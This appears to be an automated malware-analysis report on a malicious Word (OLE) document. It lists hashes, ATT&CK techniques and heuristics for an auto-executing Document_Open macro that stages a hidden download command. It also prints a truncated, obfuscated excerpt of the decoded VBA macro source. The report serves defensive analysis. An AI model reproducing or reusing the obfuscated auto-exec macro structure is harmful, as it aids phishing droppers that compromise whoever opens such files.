Office (OLE) malware analysis — malicious · 66396c22e8ffa810

MALICIOUS

Office (OLE)

201.4 KB Created: 2019-12-18 17:00:00 Authoring application: Microsoft Office Word First seen: 2020-02-04

MD5: 056938c52fbdc0965d68b4d10445ccc1 SHA-1: 2b52c4c2ceaaede017cf36601b765e45c559644f SHA-256: 66396c22e8ffa810b376b94691c469ba1a15ab4fbd5cd9bc8ae2289236500e01

202 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro designed to execute automatically. Heuristics indicate a hidden command stager using CreateObject, suggesting the macro's purpose is to download and execute a secondary payload. No specific family could be identified from the obfuscated script.

Heuristics 6

VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11080 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	11080 bytes
SHA-256: `7d23955394035548539065157f402dcc2fb91cc4ca38d402e2f67540ef90b6f5`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Eoywpksacsktj" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Control = "Giuywuyqixxg, 0, 0, MSForms, TextBox" Private Sub Document_open() Hlukdgeob = Hxfciwsvjgf Uogliormjww = 716 Nmdqrdnoxkjc = ("Placeat doloremque eveniet distinctio unde velit animi.") Gdcacdfppz = (79) Dim Nwcyajdqj As String Dim Tpbuaxeximbl As Double Dim Wtumxxdxk As Boolean Dim Mzjazfdzljk As String Dim Eskcktlltr As Boolean Dim Ieljovekdoy As String Dim Jhylxxlslhemb As Integer Ffshekqarqx = (487) Dim Qgqupeamn As String Utwxxhwmineyv = ("Dolore voluptatem consequatur.") Msggvzjeber = (709) Dim Wmesfwmkosdkt As Double Sliudzsig = Wkoutfyz Jmtzefyzdwcpf = Wwfxeeylbzb Zxlttijzpuzt = "Autem minus." Ckbgfcfwj = 428 Chhouzohgteti = Oquwlgizw Weaddfirwjzs = 838 Ijkyjoxsessz = ("Aspernatur et.") Ruiknbdj = (20) Dim Pzkqcvpy As Boolean Dim Cxxanlwdz As Double Dim Effacboeto As Integer Dim Hjkegqjc As Boolean Dim Vauwhxbfajzrl As Boolean Dim Qzubtgqdu As String Dim Chpmqerejff As Integer Qdonocqypzqq = (231) Dim Btewzhqu As String Ntuagkyltal = ("Dolorem dolorem et quaerat.") Cosytnhzvbdq = (836) Dim Ifydviyzv As Boolean Rfafxoqkcbh = Xhmqsrqkwf Vwphsdsji = Guynnfidb Gnwihergvak = "Est." Radjyoya = 762 Ltrutfmq = Xsbtlgujxdvnc Lkywoduqvqn = 465 Vpkrvhcghg = ("Facere in quas cumque.") Yemvgyrteivn = (967) Dim Sdbfcxgj As Integer Dim Sdrvujedh As Double Dim Yiupswfhntx As Double Dim Ozfcdsnpredc As String Dim Yudrfqnuvgpkb As Double Dim Zoufzgve As Integer Dim Opahdrml As Integer Mjbrhfudy = (143) Dim Rmmrqiwhpcqb As String Bmmrpczbtqp = ("Aspernatur.") Yumsgphx = (494) Dim Qniqdkevhkb As Boolean Hliktpswbdfy = Kkmjtyyw Mvrpvibbs = Gxfohlrp Rqhtkvai = "Et est quis soluta earum voluptas sit." Lhbxxycbtbdf = 287 Uubpfalxgtyb End Sub Attribute VB_Name = "Bqllpmxkqqjnb" Attribute VB_Base = "0{6A3AF47E-8E5F-4FB4-B5F7-9592C82CB793}{EF31904A-6D9D-4261-9763-5FE225477059}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "Apyhyjatmws" Function Cpwuybyttgpia() Oohvnsto = Yugeqlha Mdmzdrkbyd = 673 Embntyrsamn = ("Quia corporis nostrum sunt.") Svfoxstlpplb = (118) Dim Visqjdkqucdr As Integer Dim Elzprekwe As Boolean Dim Kfbpxqll As Double Dim Khwerkcbdlfjk As Double Dim Pvkdhzdf As Boolean Dim Yjbwmsgdmtdcl As Integer Dim Iubbubutliva As Boolean Wgbgetbbfqszf = (925) Dim Amjkkzfbevy As Double Qoqrzfpnbwg = ("Dolorem mollitia delectus.") Gplivvwfkvlq = (848) Dim Rfxlgqllqabaa As String Yqdesspq = Cgkftfbbgyhek Gvylhvuneme = Fgbpbmdjbg Ayuktugdolxr = "Molestiae error velit incidunt." Dhtfsoxpwzw = 244 Ygojeqjx = Eoywpksacsktj.Giuywuyqixxg Hrzhxvmlcdlz = Aqqrkmmmrgoy Vblnaxqy = 493 Wasrlvqnukti = ("Veritatis.") Lofuasszhk = (724) Dim Ryzbdcdx As String Dim Tvawqbedim As Boolean Dim Cmrvyuaxtibjd As Double Dim Thqeqrbukue As Boolean Dim Vebcoswmjhe As String Dim Wpluqsynlvsiw As Boolean Dim Shburjcp As Integer Vlvbjamvuuliq = (872) Dim Ddjijurjvu As Integer Jsmtaevuh = ("Corey") Bvfmcnojrx = (628) Dim Gsgxdebzgiu As String Iblduiea = Ndhowgljh Fbugrqfd = Bdkumdfxpenp Uwqftuymbycz = "Modi iste nam recusandae quisquam in." Cszwlpmaxtjcg = 636 Vltytjfgs = Ygojeqjx + Bqllpmxkqqjnb.Kkpsgvrrha + Bqllpmxkqqjnb.Vohzjvkpjynr + Bqllpmxkqqjnb.Atoabjcauuuh Xnjzmutkpvte = Cjutsafs Jvmvlifsfqyi = 741 Rddcokkzp = ("Vel.") Bafiqmecnpqh = (378) Dim Hpaztetqnbpxd As Integer Dim Ljggcjha As Double Dim Dtggrbvfdgv As Double Dim Wczlndss As Integer Dim Bcgkbvpzoqkpk As Boolean Dim Vztsaxebjj As Integer Dim Xuwswuue As Integer Rujnhgtqgr = (121) Dim Seyajbxa As Double Xsrfsxnv = ("Dolor qui sequi et eos minima facere aut tempore.") Gjhzimqyit = ... (truncated)

SHA-256: 7d23955394035548539065157f402dcc2fb91cc4ca38d402e2f67540ef90b6f5

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "Eoywpksacsktj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Giuywuyqixxg, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Hlukdgeob = Hxfciwsvjgf
Uogliormjww = 716
Nmdqrdnoxkjc = ("Placeat doloremque eveniet distinctio unde velit animi.")
Gdcacdfppz = (79)
Dim Nwcyajdqj As String
Dim Tpbuaxeximbl As Double
Dim Wtumxxdxk As Boolean
Dim Mzjazfdzljk As String
Dim Eskcktlltr As Boolean
Dim Ieljovekdoy As String
Dim Jhylxxlslhemb As Integer
Ffshekqarqx = (487)
Dim Qgqupeamn As String
Utwxxhwmineyv = ("Dolore voluptatem consequatur.")
Msggvzjeber = (709)
Dim Wmesfwmkosdkt As Double
Sliudzsig = Wkoutfyz
Jmtzefyzdwcpf = Wwfxeeylbzb
Zxlttijzpuzt = "Autem minus."
Ckbgfcfwj = 428
   Chhouzohgteti = Oquwlgizw
Weaddfirwjzs = 838
Ijkyjoxsessz = ("Aspernatur et.")
Ruiknbdj = (20)
Dim Pzkqcvpy As Boolean
Dim Cxxanlwdz As Double
Dim Effacboeto As Integer
Dim Hjkegqjc As Boolean
Dim Vauwhxbfajzrl As Boolean
Dim Qzubtgqdu As String
Dim Chpmqerejff As Integer
Qdonocqypzqq = (231)
Dim Btewzhqu As String
Ntuagkyltal = ("Dolorem dolorem et quaerat.")
Cosytnhzvbdq = (836)
Dim Ifydviyzv As Boolean
Rfafxoqkcbh = Xhmqsrqkwf
Vwphsdsji = Guynnfidb
Gnwihergvak = "Est."
Radjyoya = 762
   Ltrutfmq = Xsbtlgujxdvnc
Lkywoduqvqn = 465
Vpkrvhcghg = ("Facere in quas cumque.")
Yemvgyrteivn = (967)
Dim Sdbfcxgj As Integer
Dim Sdrvujedh As Double
Dim Yiupswfhntx As Double
Dim Ozfcdsnpredc As String
Dim Yudrfqnuvgpkb As Double
Dim Zoufzgve As Integer
Dim Opahdrml As Integer
Mjbrhfudy = (143)
Dim Rmmrqiwhpcqb As String
Bmmrpczbtqp = ("Aspernatur.")
Yumsgphx = (494)
Dim Qniqdkevhkb As Boolean
Hliktpswbdfy = Kkmjtyyw
Mvrpvibbs = Gxfohlrp
Rqhtkvai = "Et est quis soluta earum voluptas sit."
Lhbxxycbtbdf = 287
Uubpfalxgtyb
End Sub

Attribute VB_Name = "Bqllpmxkqqjnb"
Attribute VB_Base = "0{6A3AF47E-8E5F-4FB4-B5F7-9592C82CB793}{EF31904A-6D9D-4261-9763-5FE225477059}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Apyhyjatmws"
Function Cpwuybyttgpia()
   Oohvnsto = Yugeqlha
Mdmzdrkbyd = 673
Embntyrsamn = ("Quia corporis nostrum sunt.")
Svfoxstlpplb = (118)
Dim Visqjdkqucdr As Integer
Dim Elzprekwe As Boolean
Dim Kfbpxqll As Double
Dim Khwerkcbdlfjk As Double
Dim Pvkdhzdf As Boolean
Dim Yjbwmsgdmtdcl As Integer
Dim Iubbubutliva As Boolean
Wgbgetbbfqszf = (925)
Dim Amjkkzfbevy As Double
Qoqrzfpnbwg = ("Dolorem mollitia delectus.")
Gplivvwfkvlq = (848)
Dim Rfxlgqllqabaa As String
Yqdesspq = Cgkftfbbgyhek
Gvylhvuneme = Fgbpbmdjbg
Ayuktugdolxr = "Molestiae error velit incidunt."
Dhtfsoxpwzw = 244
Ygojeqjx = Eoywpksacsktj.Giuywuyqixxg
   Hrzhxvmlcdlz = Aqqrkmmmrgoy
Vblnaxqy = 493
Wasrlvqnukti = ("Veritatis.")
Lofuasszhk = (724)
Dim Ryzbdcdx As String
Dim Tvawqbedim As Boolean
Dim Cmrvyuaxtibjd As Double
Dim Thqeqrbukue As Boolean
Dim Vebcoswmjhe As String
Dim Wpluqsynlvsiw As Boolean
Dim Shburjcp As Integer
Vlvbjamvuuliq = (872)
Dim Ddjijurjvu As Integer
Jsmtaevuh = ("Corey")
Bvfmcnojrx = (628)
Dim Gsgxdebzgiu As String
Iblduiea = Ndhowgljh
Fbugrqfd = Bdkumdfxpenp
Uwqftuymbycz = "Modi iste nam recusandae quisquam in."
Cszwlpmaxtjcg = 636
Vltytjfgs = Ygojeqjx + Bqllpmxkqqjnb.Kkpsgvrrha + Bqllpmxkqqjnb.Vohzjvkpjynr + Bqllpmxkqqjnb.Atoabjcauuuh
   Xnjzmutkpvte = Cjutsafs
Jvmvlifsfqyi = 741
Rddcokkzp = ("Vel.")
Bafiqmecnpqh = (378)
Dim Hpaztetqnbpxd As Integer
Dim Ljggcjha As Double
Dim Dtggrbvfdgv As Double
Dim Wczlndss As Integer
Dim Bcgkbvpzoqkpk As Boolean
Dim Vztsaxebjj As Integer
Dim Xuwswuue As Integer
Rujnhgtqgr = (121)
Dim Seyajbxa As Double
Xsrfsxnv = ("Dolor qui sequi et eos minima facere aut tempore.")
Gjhzimqyit = 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.